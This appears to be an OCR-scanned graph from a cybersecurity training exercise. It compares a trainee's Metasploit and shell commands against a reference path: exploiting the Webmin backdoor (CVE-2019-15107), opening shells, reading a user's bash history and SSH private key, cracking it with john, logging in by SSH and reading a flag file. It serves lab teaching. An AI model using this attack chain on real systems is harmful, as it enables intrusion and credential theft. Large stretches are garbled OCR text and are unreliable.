Trainee: sandbox-42-useractions
Reached 3 of 20 available success nodes (15.0%)
Training: "Kobylka 3302"

Green nodes: Successfully reached states from the reference graph

Red nodes: Commands not present in the reference graph

Orange nodes: Attempts to reach a green node but some required states were missing
Gray nodes: Reference solution to complete the rest of the training

—_— - — - start

Type: msf4-history
Tool: set
Opts: ['[RHOSTS', '172.18.1.5']; ['THREADS', '24']; ['PORTS',
'50000,', '21,', '1720,', '80,', '443,", '143,', '623,', '3306,",
'110,', '5432,', '25,', '22,', '23,', '1521,', '50013,", '161,,
'2222,','17185,', '135,', '8080,', '4848,', '1433,",
'5560,', '512,', '513,', '514,', '445,", '5900,', '5901,",
'5902,', '5903,', '5904,', '5905,', '5906,', '5907,",
'5908,', '5909,', '5038,', '111,", '139,', '49,', '515,",
'7787,','2947,', '7144,', '9080,', '8812,', '2525,,
'2207,', '3050,', '5405,', '1723,', '1099,', '5555,",
'921,','10001,', '123,', '3690,', '548,', '617,', '6112,",
'6667,', '3632,", '783,', '10050,', '38292,', '12174,",
. _ . _ Type: msf4-history . . '2967,', '5168,', '3628,', '7777,', '6101,', '10000,", _ . .
$yple: command $yp1e: COE;_I};land $yp1e: co;nmand $yple: cotmmtand $yp1e: qur:nmand $yp1e: comgnand $yple:bmsl£4-hlstory $yple:drgsfil-}€13tory $yp1e: mtsf4-hlstory $yple:drgsf4-hlst?:ry Tool: use $yp1e:.n}1:)sf4-hlstory $yple:hms§4-hlstory :ggg%: :él(l)g(Z)?f' Iégl(l)g%élléo'%gqq'z1'%)2(?0';11'(1)(2)%(?2' $yple: msf4-history r%yple:dr}glsfél-hlstory $yple: Iﬁlsfll-hlStOI'y %yple: co;nmanil

ool: nmap 0ol: ms ool: ms ool: apt-ge ool: exi ool: armitage ool: bac ool: db_status ool: setg ool: db_connec Rt 1, ool: jobs ool: hosts ) ), ), ), ), ), ool: run ool: db nmap 00l: show ool: msfconsole
Opts: ['-help']; ['-p1-65535', '172.18.1.5'] | Opts: ['init'] Opts: [] Opts: ['install’, 'armitage'l; ['update'] | Opts: [] Opts: [] Opts: [] Opts: [] Opts: [I; 'LHOST', '10.1.135.83']; ['LPORT’, '28605'] | Opts: ['msf:"h+L0Xf0385dbljRgtPnNOaZSMxa7YHoFzS60juOkYFc="@localhost:5432/msf'] [C?gl‘l:;-ﬂg ;}’;I}Sdggfﬂg/eggﬁfsrgg}"{gg?ﬁerse—th | opts:[] Opts: ['-a', '172.18.1.5'] |['44334,','2100,', '5554,', '12203,", '26000,', '4000,', Opts: ['-'] Opts: ['-min-hostgroup', '96', -T4', "-A", '-v', '-n', '172.18.1.5'] |Opts: ['exploits'] Opts: []

'1000,', '8014,', '5250,', '34443,', '8028,', '8008,",

'7510,', '9495,', '1581,', '8000,', '18881,", '57772,,
'9090,', '9999,', '81,", '3000,', '8300,', '8800,', '8090,",
'389,', '10203,', '5093,', '1533,, '13500,', '705,,
'4659,', '20031,', '16102,', '6080,', '6660,', '11000,",
'19810,', '3057,', '6905,', '1100,', '10616,', '10628,",
'5051,", '1582,", '65535,', '105,', '22222,', '30000,",
'113,', '1755,', '407,', '1434,', '2049,', '689,', '3128,',
'20222,','20034,', '7580,', '7579,', '38080,', '12401,",
'910,', '912,', '11234,", '46823,', '5061,', '5060,",
'2380,', '69,', '5800,', '62514,"', '42,', '5631,', '902,",
'5985,', '5986,', '6000,', '6001,', '6002,', '6003,,
'6004,', '6005,', '6006,', '6007,', '47001,", '523,",
'3500,', '6379,", '8834']

Not in the ref. graph ———————— Y

metasploit_openeD

Type: msf4-history
Tool: set
Opts: ['RHOSTS', '172.18.1.5']; ['exploit']; ['exploit’,

Type: msf4-history [ Type: msfd-history | Type: msfd-history Type: msf4-history Type: msf4-history [I'ype: msf4-history

| . T o . T P : . Tool: show Tool: help Tool: db nmap Tool: use Tool: exploit Tool: set
2019‘15107 ; LHOST, 0.0.0.0 ; PAYLOAD, h ].]. t ; 1 I 1t 1o 1o 1o " R I 1o 1 1 . . 1 1 . 1 1 s 1 1o 1
['LPORT"', '14]71[8']; ['EXitOnSessign'[, false']; ['TA%%IE"IFICJ/ES{I'? _reverse_tcp'] Opts: []; ['all'] Opts: [] Opts: ['--min-hostgroup’, '96', '-T4', -A’, '-v', '-n', '172.18.1.5"'] | Opts: ['exploit/multi/handler']; ['exploit/47230'] Opts: ['4'] [Opts: ['LHOST", '10.1.135.83']
'/']; ['TARGET', '0']
- . Type: msf4-history
Not in the ref. graph lhost set JTool: set
- Opts: FLHOST', '10.1.135.83']

N
\

Type: msf4-history T'ype: msf4-history *Type: msf4-history
Tool: use Tool: set ifool: set
Opts: ['exploit/47230'] |Opts: ['RPORT", '10000'] //Opts: ['LHOST', '10.1.135.83']

/
7/

Type: msf4-history
Tool: set

Opts: ['LPORT", '11265']; ['PAYLOAD', 'generic/shell bind tcp'];
['RPORT', '80']; ['SSL', '0']; ['RHOSTS', '172.18.1.5']; [[TARGETURI',
'I'; ['TARGET", '0']; ['LPORT", '2139']

Type: msf4-history
Tool: exploit
Opts: ['4']

@ the ref. graph

— Iy_pe:—ms’féf—history
rport_set —Toql.

1, .10000']

Type: msf4-history

Tool: sessions

OptS: []; [I_ull |1|]; [I_ull |3|]; ['--help']; [I_hl]; [I_CI, |3|, I].SI],' [|3|, I'CI, I].SI],' [|3|, I'CI, Idirl],'
['3', '-c', 'cd’, '/']; ['3', '-c', 'pwd']; ['3', '-c', "WARNING-READ-ME.txt'];

['3', '-¢', 'nano', 'WARNING-READ-ME.txt']; ['3', '-¢', 'leafpad’,

TYpeD

: ‘WARNING-READ-ME.txt']; ['3', '-c', 'editor', "WARNING-READ-ME.txt'];

Type: me4-hIStOI’y [|3| c' "edi o ni
Tool: set 3, .'C.’ e }t(l)l}", V\IIAIRNING-READ-ME.txt 1; . Typ(?: command .
IOpts: ['ISSIIJ, '0']; ['RII-I(I)STS']; ['TARGETURI', I'/']; ['TARGET", '0']; ['LPORT", | Type: msf4-history E':E',]"Cg':]%; ’[.__g.l’ .C}iq???’.];ngi“il\%l;?._/I.{]]’_Ef‘.‘_lg.:lv.l.%dt?ft./..].’]; ['-c', 'dir']; ['-c', ""search’, Type: msf4-history Type: msf4-history Type: msf4-history | Type: command Fé%?:g:s[s]}l[._i.’ /root/ssh']; ['-i', '/root/desktop/ssh']; Type: command 'ype: command Type: command $g(}))le:.ncrcr)lr;1;nand

20000 1; LEAYLOAD, generic/shell bind tep'); N Lool: exploit ‘history"J; ['-c', ""find’, "history™]; [-c', "find’, ool use T | ook hosts, Tt | Qool: back Tool: apenssh | 13 “root/Desktop/ssh', '10.1.17.4'; [, Lool: dir o o ook less 0 4t ook pwd rool: chumod . Opts: ['172.18.1.5'
['LPORT", '8871']; ['PAYLOAD', 'generic/shell reverse tcp']; Opts: ['4'] 5 . Wi T s . : " Opts: ['exploit/47230']; ['exploit/multi/handler'] | Opts: ['-a', '172.18.1.5']; ['-a', '10.1.17.4']| Opts:[] Opts: [] . C i Opts: []; ['desktop']; ['Desktop'] POpts: ['/desktop/ssh']; ['/root/desktop/ssh']; ['/root/Desktop/ssh'] (Opts: [] Opts: ['600', '/etc/ssh/ssh comp']

o S . C T4 =01, .bash history"']; ['-c', ""find', '-name’, *.bash history"']; /root/Desktop/sshpub’, '10.1.17.4']; ['-i', - Req. nodes: []
%Ifgggglsel]s-glgggl]false ]; [RHOSTS J 172.18.1.5 ]; [I_CI’ Illdii.rl’ I/home/evelll]; [I—Cll I]_SI]; [I—CI’ Illdirll I_/homelll]; I/etC/SSh/SSh_Compll I10.1.17.4I]

’ ['-c', ""cd', '/home/eve"']; ['3', '-c', ""less', ".bash history"'];

[I3I’ I_CI' Illtreelll]; [I3I’ I_CII IIIdeIII]; [I3I' I_Cll Illdirlll]; [I3I’ I_CII IIICdI'
I/III]; [I3I’ I'CI, Illﬁndll I_namell ISSh"I]; [I3I, I_CI’ IIICdI’ I/etC/SSh”I];
['3', '-c', ""less’, 'ssh host rsa key"']; ['3', '-c', '"less’,

'ssh host ecdsa key.pub"']; ['3, '-c', "less’,

'ssh host ecdsa key"']; ['3', '-c', ""less', 'ssh _config"']

_ ]

: . ==~ _ Type: command
S — : . Tried to reach: ssh key permissions changed = (unreached)
Not in the ref. graph K Missing nodes: key cracked port found

Type: msf4-history
Tool: sessions
OptS: [I3I, I_CI’ IIICdI, I/usr/bin/sshlll]; [I3I, I_CI’ I“]_S"I]; [I3Il I_CI’ IllleSSI’
'sshd config"']; ['3', '-c', ""less’, 'ssh host ecdsa key"'];
[I_CI’ “ICdI, |/|||]; [I_CI’ |||ﬁnd|’ |_fname|, IeCdsa"I]; [I_CI’ |||ﬁnd|’
‘-name’, 'ecdsa"']; ['-c', ""find’, '-name’, 'ecdsa key"'];

['-c', ""find', '-fname’, *ecdsa key"']; ['-c', ""find’,

'-fname’, 'ssh host ecdsa key"']; ['-c', ""pwd"'];

[I_CI’ Illlslll]

Type: command

Tool: john Type: command

Opts: ['--wordlist', 'rockyou.txt’, '/root/Desktop/john']; Tool: nmap

['--wordlist', '/root/Desktop/john']; ['--wordlist’, Opts: ['-sV', '172.18.1.5']
‘/usr/share/wordlists/rockyou.txt’, Req. nodes: []
‘/root/Desktop/john']

Type: command
Tool: ssh

Opts: ['-1', '/fetc/ssh/ssh comp', '10.1.17.4']; ['-1',
'fusr/Desktop/ssh comp', '10.1.17.4'];

['-1', '/root/Desktop/ssh comp', '10.1.17.4']

Type: command
Tool: python
Opts: ['ssh2john.py']; ['ssh2john.py’, '/etc/ssh/ssh comp'];
['ssh2john.py’, '--help']; ['ssh2john.py’, '/root/Desktop/ssh comp']

(unreached)
vulnerability found

Type: msf4-history

Tool: search

Opts: ['webmin']; ['CVE-2019-15107"']
Req. nodes: [metasploit opened]

(unreached)
searched for exploit

Opts: ['/exploit/unix/webapp/webmin backdoor'];
['exploit/unix/webapp/webmin backdoor'];
['unix/webapp/webmin backdoor']; ['webapp/webmin backdoor'];
['webmin backdoor']

Req. nodes: [metasploit opened]

(unreached)
exploit used

Type: msf4-history

Tool: show

Opts: ['options']

Req. nodes: [metasploit opened]

(unreached)
options shown

Type: msf4-history

Tool: set

Opts: ['/RHOST', '172.18.1.5']; ['rhost’, '172.18.1.5']
Req. nodes: [metasploit opened]

(unreached)
rhost set

Type: msf4-history

Tool: check

Opts: []

Req. nodes: [exploit used, rhost set,
rport set, lhost set]

(unreached)
exploit checked

Type: msf4-history

Tool: exploit

Opts: []

Req. nodes: [exploit used, rhost set,
rport set, lhost set]

(unreached)
exploit executed

Type: command

Tool: cat

Opts: ['/root/WARNING-READ-ME.txt']; [ WARNING-READ-ME.txt']
Req. nodes: [exploit executed]

(unreached)
file viewed

Type: command

Tool: 1s

Opts: ['-a', '/home/eve/']; ['-a', 'feve/']; ['-a']
Req. nodes: [exploit executed]

(unreached)
eve files shown

Type: command

Tool: cat

Opts: ['.bash history']['/home/eve/.bash history'];
['eve/.bash history']; ['.bash history']

Req. nodes: [exploit executed]

\
(unreached)
bash history displayed

Type: command

Tool: cat

Opts: ['/home/eve/.ssh/id rsa']; ['eve/.ssh/id rsa'];
['.ssh/id rsa']; ['id rsa']

Req. nodes: [exploit executed]

(unreached)
view ssh key

Type: command

Tool: python

Opts: ['ssh2john.py’, *', '>', "*']
Req. nodes: [exploit executed]

(unreached)
key hashed

Type: command

Tool: john

Opts: ['--wordlist=/usr/share/wordlists/rockyou.txt’,
I*I]

Req. nodes: [key hashed]

(unreached)
key cracked

Type: command

Tool: chmod

Opts: ['0600', *']; ['600', *']
Req. nodes: [key cracked]

\ /

(unreached)
ssh key permissions changed

Type: command

Tool: ssh

Opts: ['-i', ¥, 'eve@10.1.17.4"]

Req. nodes: [ssh key permissions changed,
bash history displayed]

(unreached)
connected to server

Type: command

Tool: cat

Opts: ['top-secret/flag.txt']; ['flag.txt']
Req. nodes: [connected to server]

(unreached)
end




